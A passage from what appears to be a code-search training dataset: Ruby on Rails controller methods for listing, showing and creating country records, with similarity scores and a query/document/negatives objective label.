:Location, :regexp_search, regexp: \"#{params[:country]}$\"\n )\n show_selected_locations(query, link_all_sorts: true)\n end", "def index\n if @country\n @zones = @country.zones\n else\n @zones = Zone.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def index\n @contries = Contry.all\n end", "def get_countries\n countries=[]\n @locations.each do |loc|\n countries << loc.country.capitalize if loc.country\n end\n countries.uniq\n end", "def countries\n @countries ||= Fotolia::Countries.new(self)\n end", "def country\n data['country']\n end", "def index\n param! :order, String, in: %w(asc desc), transform: :downcase, default: 'desc'\n param! :sort, String, in: Player.sort_allowed_by_country?, default: Player.sort_default_by_country\n param! :search, String, default: nil\n param! :with_inactive, Integer, default: 0\n if request.format.json?\n if params[:with_inactive] == 1\n query = Player.all\n else\n query = Player.where(hideranking: 0)\n end\n query = query.by_country.uniorder(params[:sort], params[:order])\n if params[:search]\n query = query.country_search(params[:search])\n end\n @countries = query\n end\n end", "def index\n @country_continents = CountryContinent.all\n end", "def index\n @states = @country.states.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @states }\n end\n end", "def countries\n @countries = Spree::Country.where(name: Spree::Config[:default_address_country])\n zone = Spree::Zone.find_by(name: Spree::Config[:address_zone_name]) if Spree::Config[:address_zone_name]\n @countries = zone.countries.order(:name) if zone.present?\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def show\n @county = County.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @county }\n end\n end", "def api_index\n campaigns = Campaign.all\n campaigns = campaigns.for_country(params[:country].presence) if params[:country]\n campaigns = campaigns.active if 'active' == params[:status]\n respond_to do |format|\n format.json { render json: campaigns }\n end\n end", "def get_country_setting\n service_response = ClientManagement::GetCountrySetting.new(params).perform\n render_api_response(service_response)\n end", "def country(opts = {})\n data, _status_code, _headers = country_with_http_info(opts)\n data\n end", "def show\n @continent = Continent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @continent }\n end\n end", "def add_countries\n projects = Project.find_public(:all, :conditions => [\"continent_id=?\", params[:continent_id].to_i])\n @countries = [[ 'All ...', '']]\n projects.each do |project|\n sum = 0\n projects.each do |pj|\n sum += 1 if project.country_id==pj.country_id\n end\n name = \"#{!project.country_id.nil? ? project.nation.name : project.place.country.name} (#{sum})\"\n @countries << [name, project.country_id]\n end\n @countries.uniq!\n respond_to do |format|\n format.js {\n render :update do |page|\n page.replace_html \"country_id_container\", :partial => \"select_countries\"\n end\n }\n end\n end", "def index\n if @country\n @provinces = @country.provinces\n else\n @provinces = Province.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def autocomplete\n @lists = Listing.verification\n @lists = @lists.starts_with(filter_params[:country]) if filter_params[:country].present? \n \n respond_to do |format|\n format.json {render json:@lists}\n end\n end", "def show\n @locations_country = Locations::Country.find(params[:id])\n respond_to do |format|\n format.js # show.html.erb\n end\n end" ]
[ "0.8091304", "0.7905766", "0.76604635", "0.75860393", "0.7551561", "0.735397", "0.7083988", "0.70632714", "0.7026407", "0.70252323", "0.69627535", "0.6956617", "0.6921465", "0.6882997", "0.6865407", "0.6863748", "0.68424237", "0.67470205", "0.67470205", "0.67466867", "0.67362505", "0.6714291", "0.6704921", "0.6698604", "0.66753256", "0.6659983", "0.66567826", "0.66567826", "0.66567826", "0.6612025", "0.6586743", "0.65596515", "0.65528643", "0.6550706", "0.6526285", "0.6517815", "0.6469375", "0.6461565", "0.6461565", "0.6461565", "0.6461565", "0.6461565", "0.6461565", "0.6461565", "0.6461565", "0.64603126", "0.64492834", "0.6446276", "0.64067227", "0.6372979", "0.63404554", "0.62918246", "0.62406516", "0.62222207", "0.6169743", "0.61491245", "0.6138497", "0.61204803", "0.6100252", "0.6061426", "0.6060457", "0.60542864", "0.60298634", "0.6013611", "0.60084575", "0.59955317", "0.5990059", "0.598816", "0.5986806", "0.5984008", "0.5979169", "0.59712404", "0.5956828", "0.5949727", "0.5945396", "0.5942253", "0.5939042", "0.5935752", "0.59263545", "0.59155345", "0.5911429", "0.5910805", "0.5909397", "0.590497", "0.5892075", "0.58846503", "0.5875386", "0.58671725", "0.5829528", "0.582854", "0.582854", "0.5824492", "0.58079135", "0.5805894", "0.5802851", "0.5800867", "0.57911617", "0.57757604", "0.5774762", "0.57650673" ]
0.758825
3
GET /countries/1 GET /countries/1.json
def show render json: @country end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def country_list\n get_request( \"/api/v2_1/api/countries\")\n end", "def index\n @countries = Country.all\n\n render json: @countries\n end", "def index\n @countries = Country.all\n json_response(@countries)\n end", "def get_countries\n perform(:get, 'enum/countries', nil, nonauth_headers).body\n end", "def show\n @country = Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def show\n @country = Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def all_countries \n\t\tself.class.get('/all')\n\tend", "def show\n json_response(@country)\n end", "def index\n if params[:country]\n country = Country.find_by_id(params[:country])\n if !country.nil?\n @cities = country.cities\n else\n flash[:error] = t(:country_not_found)\n @cities = nil\n end\n else\n return redirect_to countries_path\n end\n\n respond_to do |format|\n# format.html # index.html.erb\n format.json { render json: @cities }\n end\n end", "def countries\n collection(\"countries\")\n end", "def show_cities\n\n @cities = City.where(\"country_id = ?\", params[:country_id])\n\n render json: @cities\n \n end", "def countries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CountriesApi#countries ...\"\n end\n \n # resource path\n local_var_path = \"/countries/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'languageCode'] = opts[:'language_code'] if opts[:'language_code']\n query_params[:'key'] = opts[:'key'] if opts[:'key']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CountryList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CountriesApi#countries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n format.js\n end\n end", "def index\n @countries = Country.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n end\n end", "def show\n @countries = Countries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def show\n @company_country = CompanyCountry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company_country }\n end\n end", "def countries\n \tif params[:continent_id].present?\n \t\tputs params[:continent_id]\n \t\tvalor = params[:continent_id]\n \t\tcountries = Country.joins(:country_category).where(status: true, continent_number: [valor]).select(:id,:name,:name_cr,:flag_image,:generic_image,:country_category_id,'country_categories.percentage_profile AS country_category_percentage_profile')\n \trender json: countries\n else\n \trender :json => {:result => 'ERROR'}\n \tend\n end", "def get\n\tresponse = RestClient.get(country_url)\n\t@parsed_response = JSON.parse(response)\nend", "def country_api\n # endpoint = \"https://corona.lmao.ninja/countries\"\n endpoint = 'https://corona.lmao.ninja/v2/countries'\n response = HTTParty.get(endpoint)\n data = JSON.parse response.body\n res = data\n result =[]\n endpoint_all = \"https://corona.lmao.ninja/all\"\n response1 = HTTParty.get(endpoint_all)\n data1 = JSON.parse response1.body\n res1 = data1\n result<<{\n country: \"world\",\n cases: res1[\"cases\"],\n todayCases: res1[\"todayCases\"],\n deaths: res1[\"deaths\"],\n todayDeaths: res1[\"todayDeaths\"],\n recovered: res1[\"recovered\"],\n active: res1[\"active\"],\n critical: res1[\"critical\"],\n casesPerOneMillion: res1[\"casesPerOneMillion\"],\n deathsPerOneMillion: res1[\"deathsPerOneMillion\"],\n tests: res1[\"tests\"],\n testsPerOneMillion: res1[\"testsPerOneMillion\"],\n affectedCountries: res1[\"affectedCountries\"]\n }\n\n res.each do |country|\n result<<{\n country: country[\"country\"],\n lat: country[\"countryInfo\"][\"lat\"],\n long: country[\"countryInfo\"][\"long\"],\n flag: country[\"countryInfo\"][\"flag\"],\n cases: country[\"cases\"],\n todayCases: country[\"todayCases\"],\n deaths: country[\"deaths\"],\n todayDeaths: country[\"todayDeaths\"],\n recovered: country[\"recovered\"],\n active: country[\"active\"],\n critical: country[\"critical\"],\n casesPerOneMillion: country[\"casesPerOneMillion\"],\n deathsPerOneMillion: country[\"deathsPerOneMillion\"],\n tests: country[\"tests\"],\n testsPerOneMillion: country[\"testsPerOneMillion\"]\n }\n end\n render json: result\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def country\n client.places.get_countries.select{|hash| hash[\"cid\"] == @params[:country].to_i}.first[:title]\n end", "def index\n @q = Country.search(params[:q])\n @countries = @q.result.includes(:user_countries)\n\n respond_with(@countries, @q)\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end", "def get_countries\n \tresponse = invoke(\"web:GetCountries\", :soap_action => :none)\n\n \tnode = response.document.xpath('//ns:GetCountriesResult', ns)[0]\n \tparse_country_description(node)\n end", "def situations_arrivals_countries_three\n @situations_arrivals_countries = SituationsArrivalsCountry.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations_arrivals_countries}\n end\n end", "def countries\n respond_to do |format|\n format.js do\n render :text => ActionView::Helpers::FormOptionsHelper::COUNTRIES.to_json\n end\n format.xml do\n @countries = User.find_countries\n end\n end\n end", "def index\n Country.retrieveCountries\n @countries = Country.all\n\n\n end", "def show_countries(countries)\n for country in countries\n puts country[:name]\n end\nend", "def get_country(code, options = {})\n root = get_root\n object_from_response(GogoKit::Country,\n GogoKit::CountryRepresenter,\n :get,\n \"#{root.links['self'].href}/countries/#{code}\",\n options)\n end", "def cities\n cities = CS.cities(params[:id], :GB)\n if cities.blank?\n country = ISO3166::Country.find_country_by_alpha3(params[:id])\n cities = country_cites(country)\n return(render json: { message: I18n.t(:invalid_country) }) if cities.blank?\n end\n render json: cities\n end", "def index\n\t @countries = Country.all\n\tend", "def get_currency_based_on_country_code\n country_code = params[:country_code]\n if country_code.length == 2\n currency = ISO3166::Country.find_country_by_alpha2(country_code).currency['code']\n elsif country_code.length == 3\n currency = ISO3166::Country.find_country_by_alpha3(country_code).currency['code']\n end\n response = {currency: currency}\n render json: response.to_json, status: \"200\"\n end", "def countries(input)\n get_single_method(:countries, input)\n end", "def countries(input)\n get_single_method('countries', input)\n end", "def get_acceptedcountries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AcceptedCountriesApi.get_acceptedcountries ...'\n end\n # resource path\n local_var_path = '/acceptedcountries'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'whitelist'] = opts[:'whitelist'] if !opts[:'whitelist'].nil?\n query_params[:'search_type'] = opts[:'search_type'] if !opts[:'search_type'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AcceptedCountriesListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"AcceptedCountriesApi.get_acceptedcountries\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AcceptedCountriesApi#get_acceptedcountries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def countries(data)\n my_hash = JSON.parse(data)\n conv_name = my_hash[0]['conventional_short_form']\n puts conv_name\nend", "def set_request\n @countries = ISO3166::Country.all.map { |c| [c.name, c.alpha3] }.sort\n\n if @countries && params[:id]\n @country = @country.find(params[:id])\n end\n end", "def show\n @county = County.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @county }\n end\n end", "def show\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country_area }\n end\n end", "def show\n @user = User.find(params[:id])\n @countries = COUNTRIES_HASH\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "def show\n @continent = Continent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @continent }\n end\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def find_country\n\t @country = Country.get(params[:country_id])\n\tend", "def find_country\n\t @country = Country.get(params[:country_id])\n\tend", "def index\n @countries = Country.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def index\n @ag_countries = Ag::Country.all\n end", "def index\n @areas = Area.with_ordered_countries\n respond_with(@areas)\n end", "def show\n @geo_country = Geo::Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @geo_country }\n end\n end", "def show\n @county = Entity.where(id: params[:id]).where(entity_type: 'County').first\n respond_with(@county) do |format|\n format.geojson { render text: @county.to_geojson }\n end\n end", "def all_countries_totals\n json_response('/country/all')\n end", "def test_read_user_country\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Brazil')\n end", "def show\n @country = Country.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render :json=>{:response=>\"The record can't be found\"}\n end", "def countries\r\n\t\t\tCOUNTRIES\r\n\t\tend", "def country_list\n @countries = Country.find(:all, :order => \"name\" )\n return @countries\n end", "def show\n @locations_country = Locations::Country.find(params[:id])\n respond_to do |format|\n format.js # show.html.erb\n end\n end", "def countries_three\n \tcountries = Country.joins(:country_category).where(status: true, id: [46,88,234]).select(:id,:name,:name_cr,:flag_image,:generic_image,:country_category_id,'country_categories.percentage_profile AS country_category_percentage_profile')\n \trender json: countries\n end", "def show\n @country = Country.includes(:regions).find(params[:id])\n @tours = Tour.search(params.merge({ region: @country.region_ids}))\n @attractions = @country.regions.map { |i| i.attractions }.flatten\n @hotels = @country.regions.map { |i| i.hotels }.flatten\n @photos = @country.regions.map { |i| i.gallery.photos if i.gallery }.flatten.uniq.compact\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def index\n if @country\n @zones = @country.zones\n else\n @zones = Zone.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def show\n @country = Country.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @country }\n end\n end", "def countries\n countries = YAML.load_file(Rails.root.join('data', 'locale_countries.yml'))\n countries.select! { |_, flag| File.exist? Rails.root.join('app', 'assets', 'images', 'country-flags', \"#{flag.downcase}.png\") }\n # apply potential region values too\n Dir.glob(Rails.root.join('app', 'assets', 'images', 'country-flags', '*.png')).each do |file|\n base = File.basename(file, '.png')\n next if base.starts_with?('_')\n countries[base.upcase] = base\n end\n\n countries.each { |key, flag| countries[key] = view_context.image_path(\"country-flags/#{flag.downcase}.png\") }\n\n render json: countries.to_json\n end", "def index\n @public_relations = PublicRelation.all.order(round: :desc, created_at: :desc)\n @countries = countries.collect{|x|x[0]}\n end", "def index\n @cities = City.all\n\n render json: @cities\n end", "def get_country_setting\n service_response = ClientManagement::GetCountrySetting.new(params).perform\n render_api_response(service_response)\n end", "def index\n @cultures = Culture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cultures }\n end\n end", "def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end", "def index\n @countryinfos = Countryinfo.all\n end", "def test_read_all_info_without_country\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8ifSA='\n assert last_response.body.include?('Country field was not found in JSON')\n end", "def api_index\n campaigns = Campaign.all\n campaigns = campaigns.for_country(params[:country].presence) if params[:country]\n campaigns = campaigns.active if 'active' == params[:status]\n respond_to do |format|\n format.json { render json: campaigns }\n end\n end", "def country_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.country ...'\n end\n # resource path\n local_var_path = '/country'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<CountryMetadata>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#country\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @localisation = Localisation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @localisation }\n end\n end", "def index\n @states = @country.states.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @states }\n end\n end", "def in_country\n return json_response([]) if (country_cities = City.where(params.slice(:country))).blank?\n newest_city = country_cities.sort_by(&:updated_at).last\n Rails.logger.info \"newest_city is #{newest_city.inspect}\"\n render_if_stale(country_cities, last_modified: newest_city.updated_at.utc, etag: newest_city) do |city_presenters|\n city_presenters.map(&:hash)\n end\n # explicitly setting the Cache-Control response header to public and max-age, to make the response cachable by proxy caches\n expires_in caching_time, public: true\n end", "def all\n countries\n end", "def index\n @release_countries = ReleaseCountry.all\n end", "def show\n@data_country = @response.data_countries.find(params[:id])\n# @data_country = DataCountry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @data_country }\n end\n end", "def countryChosen\n \n show_params(params)\n logger.debug \"Params id is #{params[:id]}\"\n \n if params[:id] != \"\"\n @country = Country.find(params[:id])\n @regions = @country.regions\n else\n @country = nil\n end\n render :layout => false\n end", "def countries(opts = {})\n data, status_code, headers = countries_with_http_info(opts)\n return data\n end", "def index\n if @country\n @provinces = @country.provinces\n else\n @provinces = Province.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def new\n @company_country = CompanyCountry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company_country }\n end\n end", "def index\n @contries = Contry.all\n end", "def new\n @countries = Countries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def new\n @country = Country.find_by_id(params[:country])\n if !@country.nil?\n @city = City.new\n\n else\n flash[:error] = \"Country not found\"\n redirect_to countries_path\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end", "def add_countries\n projects = Project.find_public(:all, :conditions => [\"continent_id=?\", params[:continent_id].to_i])\n @countries = [[ 'All ...', '']]\n projects.each do |project|\n sum = 0\n projects.each do |pj|\n sum += 1 if project.country_id==pj.country_id\n end\n name = \"#{!project.country_id.nil? ? project.nation.name : project.place.country.name} (#{sum})\"\n @countries << [name, project.country_id]\n end\n @countries.uniq!\n respond_to do |format|\n format.js {\n render :update do |page|\n page.replace_html \"country_id_container\", :partial => \"select_countries\"\n end\n }\n end\n end", "def country\n query = create_query(\n :Location, :regexp_search, regexp: \"#{params[:country]}$\"\n )\n show_selected_locations(query, link_all_sorts: true)\n end", "def countries\n countries_ids = self.answers.where(answer_type: 'geo_countries').first.try(:text_value).split(',')\n Country.where(:id => countries_ids)\n end", "def index\n @country_continents = CountryContinent.all\n end", "def cities\n CS.get :us, :ca\n end", "def country\n data['country']\n end" ]
[ "0.7578863", "0.74292827", "0.742219", "0.7259051", "0.71466124", "0.71466124", "0.7121346", "0.7067446", "0.70150703", "0.69914526", "0.697479", "0.6966437", "0.6892705", "0.68564665", "0.68226105", "0.6791426", "0.6712157", "0.665914", "0.6643822", "0.6584179", "0.6584179", "0.6584179", "0.65769154", "0.6551497", "0.6527471", "0.6527471", "0.6527471", "0.6527471", "0.6527471", "0.6527471", "0.6527471", "0.6527471", "0.652631", "0.64995533", "0.6491866", "0.6484233", "0.6476189", "0.6474725", "0.6449058", "0.6441357", "0.64375156", "0.642387", "0.6399836", "0.6384625", "0.63469326", "0.63225627", "0.6295136", "0.6287978", "0.6264562", "0.6263402", "0.6256022", "0.6244934", "0.6244934", "0.62312365", "0.62312365", "0.62099975", "0.6201546", "0.6181918", "0.618095", "0.61509913", "0.61443055", "0.6140613", "0.61381245", "0.6122048", "0.60675645", "0.6053235", "0.60457873", "0.6029433", "0.602538", "0.60163915", "0.600617", "0.5996008", "0.59492886", "0.5935226", "0.5935045", "0.592813", "0.59258324", "0.5917005", "0.5914012", "0.5912963", "0.58978814", "0.5894962", "0.58827543", "0.5861309", "0.58612686", "0.58593595", "0.58582026", "0.5857447", "0.584379", "0.5840143", "0.5837909", "0.58333975", "0.5829162", "0.5810213", "0.578595", "0.5778557", "0.5775668", "0.5772275", "0.5759581", "0.5745667" ]
0.71497154
4
POST /countries POST /countries.json
def create @country = Country.new(country_params) if @country.save render json: @country, status: :created, location: @country else render json: @country.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @country = Country.create!(valid_params)\n json_response(@country, :created)\n end", "def create\n @countries = Countries.new(params[:countries])\n\n respond_to do |format|\n if @countries.save\n flash[:notice] = 'Countries was successfully created.'\n format.html { redirect_to(@countries) }\n format.xml { render :xml => @countries, :status => :created, :location => @countries }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @countries.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render json: @country, status: :created, location: @country }\n else\n format.html { render action: \"new\" }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(country_params)\n\n if @country.save\n render :show, status: :created, location: @country\n else\n render json: @country.errors, status: :unprocessable_entity\n end\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render :show, status: :created, location: @country }\n else\n format.html { render :new }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.create(params[:country])\n get_data\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render action: 'show', status: :created, location: @country }\n else\n format.html { render action: 'new' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render action: 'show', status: :created, location: @country }\n else\n format.html { render action: 'new' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ag_country = Ag::Country.new(ag_country_params)\n\n respond_to do |format|\n if @ag_country.save\n format.html { redirect_to @ag_country, notice: 'Country was successfully created.' }\n format.json { render :show, status: :created, location: @ag_country }\n else\n format.html { render :new }\n format.json { render json: @ag_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @countries = Country.all\n\n render json: @countries\n end", "def create\n @country = Country.new(params[:country])\n if @country.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@country.errors)\n end\n end", "def create\n @country = Country.create(country_params)\n end", "def create\n @region_country = RegionCountry.new(region_country_params)\n\n respond_to do |format|\n if @region_country.save\n format.html { redirect_to @region_country, notice: 'Region country was successfully created.' }\n format.json { render :show, status: :created, location: @region_country }\n else\n format.html { render :new }\n format.json { render json: @region_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to @country, notice: 'EL Pais ha sido creado con exito. ' }\n CustomLogger.info(\"Nuevo pais: #{@country.pais.inspect} creado por el usuario: #{current_user.full_name.inspect}, #{Time.now}\" )\n format.json { render json: @country, status: :created, location: @country }\n else\n format.html { render action: \"new\" }\n CustomLogger.error(\"Error al crear el pais #{@country.pais.inspect} por el usuario: #{current_user.full_name.inspect}, #{Time.now}\")\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @countries = Country.all\n json_response(@countries)\n end", "def country_list\n get_request( \"/api/v2_1/api/countries\")\n end", "def country_params\n params.require(:country).permit(:name, :flag, :capital, :region, :population, :timezones, :language)\n end", "def countries\n respond_to do |format|\n format.js do\n render :text => ActionView::Helpers::FormOptionsHelper::COUNTRIES.to_json\n end\n format.xml do\n @countries = User.find_countries\n end\n end\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n session[:country_id] = @country.id\n format.html { redirect_to @country, notice: 'Country was successfully created.' }\n format.json { render :show, status: :created, location: @country }\n else\n format.html { render :new }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @company_country = CompanyCountry.new(params[:company_country])\n\n respond_to do |format|\n if @company_country.save\n format.html { redirect_to @company_country, notice: 'Company country was successfully created.' }\n format.json { render json: @company_country, status: :created, location: @company_country }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @db_country = DbCountry.new(db_country_params)\n if @db_country.save\n render json: @db_country\n else\n render json: @db_country.errors, status: :unprocessable_entity\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to(countries_path, :notice => 'Country was successfully created.') }\n format.xml { render :xml => @country, :status => :created, :location => @country }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n \t\n \t@admin_country = Country.find(params[:country][:id])\n @admin_country = 